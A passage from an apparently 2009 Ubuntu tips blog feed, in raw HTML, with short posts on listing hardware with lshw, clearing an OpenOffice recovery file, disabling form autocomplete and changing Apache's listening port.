&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;To run this, you should have Linux 2.4.x or 2.6.x or higher kernel version.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;b&gt;How To generate system_details.html&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;At first you have to open Terminal from: &lt;/span&gt;&lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;div align="center" lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;&lt;b&gt;Applications-&amp;gt;Accessories-&amp;gt;Terminal&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="center" lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span lang="en-US"&gt;sudo lshw -html &amp;gt; system_details.html&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;You can create xml or we can get it in a GUI, for that you have to install the package.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span lang="en-US"&gt;sudo apt-get install lshw-gtk&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;sudo command is for getting superuser privileges. [&lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/Sudo" target="_blank"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span lang="en-US"&gt;wikipedia&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span lang="en-US"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3927556057800641511-5733968843268467720?l=ubutrix.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/3yUtZ8MRfYq1l0d74L-D0Flx5ik/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/3yUtZ8MRfYq1l0d74L-D0Flx5ik/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/3yUtZ8MRfYq1l0d74L-D0Flx5ik/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/3yUtZ8MRfYq1l0d74L-D0Flx5ik/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ubutrix/~4/apxL67Au5Qo" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/ubutrix/~3/apxL67Au5Qo/how-to-know-hardware-details-of-your.html</link><author>noreply@blogger.com (Anish)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_K8Up6_JRdZk/SsCmvGvbx9I/AAAAAAAAAys/VnIdWUmjtqg/s72-c/system-details.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://ubutrix.blogspot.com/2009/09/how-to-know-hardware-details-of-your.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3927556057800641511.post-7319200927588481137</guid><pubDate>Sat, 26 Sep 2009 07:38:00 +0000</pubDate><atom:updated>2009-09-28T17:40:16.213+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">recovery problem</category><category domain="http://www.blogger.com/atom/ns#">openoffice.org</category><category domain="http://www.blogger.com/atom/ns#">open office recovery</category><category domain="http://www.blogger.com/atom/ns#">ubuntu</category><title>OpenOffice Recovery document Problem</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_K8Up6_JRdZk/Sr3EKM9zg3I/AAAAAAAAAyc/RF8grmCx6lU/s1600-h/not_recovery.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="232" src="http://3.bp.blogspot.com/_K8Up6_JRdZk/Sr3EKM9zg3I/AAAAAAAAAyc/RF8grmCx6lU/s320/not_recovery.png" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;style type="text/css"&gt;
 &lt;!--
  @page { margin: 2cm }
  P { margin-bottom: 0.21cm }
 --&gt;
 
&lt;/style&gt;  &lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Getting too many of this screen and always recovery fails ?. Its happens when the user opens a document downloaded from web or remove a document which last opened with openoffice. Every time user opens openoffice.org, this screen appears. This can be avoided by following steps given.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="center" lang="en-US" style="margin-bottom: 0cm; margin-left: 0.2cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: grey;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;THIS IS FOR UBUNTU [Debian Flavors] ONLY&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;You need to close all oOo applications, before try.&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 1: Open Your home folder.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 2: Press Ctrl+H or check Show Hidden Files on View Menu.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 3: Open &lt;b&gt;.openoffice.org&lt;/b&gt; in your home directory.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 4: For OpenOffice.Org 3.x&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;  goto &lt;i&gt;3/user/registry/data/org/openoffice/Office&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;     For OpenOffice.Org 2.x&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;  goto ~/.openoffice.org2/user/registry/data/org/openoffice/Office&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 5: Delete a file named &lt;span style="color: #c5000b;"&gt;&lt;i&gt;Recovery.xcu&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="color: #eeeeee; font-style: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Start oOo, you will need not worry about the irritating dialogue.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="color: #eeeeee; font-style: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="color: #eeeeee; font-style: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Until next time you lose some files. Repeat this procedure whenever you got the above error.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-style: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_K8Up6_JRdZk/Sr3EyYNPViI/AAAAAAAAAyk/WjcaX7fuL44/s1600-h/ooo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="216" src="http://4.bp.blogspot.com/_K8Up6_JRdZk/Sr3EyYNPViI/AAAAAAAAAyk/WjcaX7fuL44/s320/ooo.png" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-style: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3927556057800641511-7319200927588481137?l=ubutrix.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7Sz8bJsFgwcCJX_bXQXTNSib-GU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7Sz8bJsFgwcCJX_bXQXTNSib-GU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7Sz8bJsFgwcCJX_bXQXTNSib-GU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7Sz8bJsFgwcCJX_bXQXTNSib-GU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ubutrix/~4/sJkAIw3QZds" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/ubutrix/~3/sJkAIw3QZds/openoffice-recovery-document-problem.html</link><author>noreply@blogger.com (Anish)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_K8Up6_JRdZk/Sr3EKM9zg3I/AAAAAAAAAyc/RF8grmCx6lU/s72-c/not_recovery.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://ubutrix.blogspot.com/2009/09/openoffice-recovery-document-problem.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3927556057800641511.post-496526244995459678</guid><pubDate>Wed, 23 Sep 2009 05:39:00 +0000</pubDate><atom:updated>2009-09-26T13:09:48.854+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">browser cache</category><category domain="http://www.blogger.com/atom/ns#">autocomplete</category><category domain="http://www.blogger.com/atom/ns#">auto complete</category><title>Browser Cache or AutoComplete</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_K8Up6_JRdZk/Srm0YPUrXjI/AAAAAAAAAyU/onxTlYifApA/s1600-h/123.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_K8Up6_JRdZk/Srm0YPUrXjI/AAAAAAAAAyU/onxTlYifApA/s400/123.png" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;style type="text/css"&gt;
 &lt;!--
  @page { margin: 2cm }
  P { margin-bottom: 0.21cm }
  A:link { so-language: zxx }
 --&gt;
 
&lt;/style&gt;  &lt;br /&gt;
&lt;div style="margin-bottom: 0cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;I am currently working as a Project Lead for a local search engine project, there was a problem which is remained unsolved in our bugzillla [ &lt;a href="http://en.wikipedia.org/wiki/Bugzilla" target="_blank"&gt;&lt;span style="font-size: x-small;"&gt;wikipedia&lt;/span&gt;&lt;/a&gt;]. The problem was, in our keyword field, we are using an Ajax[&lt;a href="http://en.wikipedia.org/wiki/Ajax_%28programming%29" target="_blank"&gt;&lt;span style="font-size: x-small;"&gt;wikipedia&lt;/span&gt;&lt;/a&gt;] suggestion. When we re-use the same window a browser generated suggestion came up over our suggestion, its make lots of difficulties on showing suggestion.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;My client noticed it is a useless thing which should be removed asap. My team worked on it and find no solution for this. We made a decision that, it is due to browser cache which is unable to remove by any sort of codes.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Last day, I went to online bank account to check my balance when I logged out, I tried to log in again. Then I noticed that there is no these type of cache is presented. Then check the same of another bank, result is same no cache.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;What I do next is check the html code and I found there is an option said &lt;i&gt;&lt;b&gt;autocomplete.&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-style: normal; font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-decoration: none; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;I tried the same wonder, the problem is solved.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-style: normal; font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-decoration: none; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-style: normal; font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-decoration: none; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;lt;input type="text" id="user" style="width:200px;" autocomplete="off" /&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Hope your problem is also solved.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3927556057800641511-496526244995459678?l=ubutrix.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/xmJGDLn5FMohazb5iqdcO5QD6p4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/xmJGDLn5FMohazb5iqdcO5QD6p4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/xmJGDLn5FMohazb5iqdcO5QD6p4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/xmJGDLn5FMohazb5iqdcO5QD6p4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ubutrix/~4/jj8Nn8szd4Y" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/ubutrix/~3/jj8Nn8szd4Y/browser-cache-or-autocomplete.html</link><author>noreply@blogger.com (Anish)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_K8Up6_JRdZk/Srm0YPUrXjI/AAAAAAAAAyU/onxTlYifApA/s72-c/123.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://ubutrix.blogspot.com/2009/09/browser-cache-or-autocomplete.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3927556057800641511.post-8670118459628069222</guid><pubDate>Tue, 22 Sep 2009 05:57:00 +0000</pubDate><atom:updated>2009-09-30T09:21:54.071+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">localhost</category><category domain="http://www.blogger.com/atom/ns#">apache2 port change</category><category domain="http://www.blogger.com/atom/ns#">apache2</category><category domain="http://www.blogger.com/atom/ns#">port change</category><category domain="http://www.blogger.com/atom/ns#">ubuntu</category><title>apache2: change apache port</title><description>&lt;style type="text/css"&gt;
 &lt;!--
  @page { margin: 2cm }
  P { margin-bottom: 0.21cm }
  A:link { so-language: zxx }
 --&gt;
&lt;/style&gt; &lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;Generally, the port for apache is 80, when we type http://localhost, it listen to port 80 which is default for apache server. During some other purposes like, managing system in a LAN [&lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/LAN" target="_blank"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span lang="en-US"&gt;wikipedia&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span lang="en-US"&gt;], which shares same name, or for securing the apache port, to avoid anonymous view.&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;First took our famous tool known as Terminal &lt;/span&gt;&lt;span lang="en-US"&gt;&lt;b&gt;Applications-&amp;gt;Accessories-&amp;gt;Terminal&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;Step1: Make a backup copy of ports.conf&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt; &lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span lang="en-US"&gt;sudo cp /etc/apache2/ports.conf  /etc/apache2/ports.bk.conf&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;Step 1: Open the following location in a text editor. I am using it with nano.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span lang="en-US"&gt;sudo nano /etc/apache2/ports.conf&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;Step 2: Change the following, I am changing the port 80 to 8010.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: lime;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;NameVirtualHost *:80   &lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="color: lime;"&gt;&lt;span lang="en-US"&gt;Listen 80 &lt;/span&gt;&lt;/span&gt;&lt;span lang="en-US"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;to&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
